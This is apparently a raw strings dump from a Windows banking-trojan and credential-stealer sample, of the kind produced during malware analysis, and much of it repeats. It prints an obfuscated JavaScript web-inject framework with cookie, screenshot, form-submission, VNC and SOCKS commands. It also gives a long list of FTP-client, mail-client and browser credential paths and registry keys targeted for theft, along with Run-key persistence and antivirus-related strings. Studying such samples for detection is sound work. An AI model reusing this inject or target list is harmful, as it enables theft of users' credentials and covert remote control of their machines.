@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

<!</<7<><[<

8 9(91999\9

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

%System%\spoolsv.exe

Explorer.EXE_1852_rwx_01E70000_00053000:

%Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

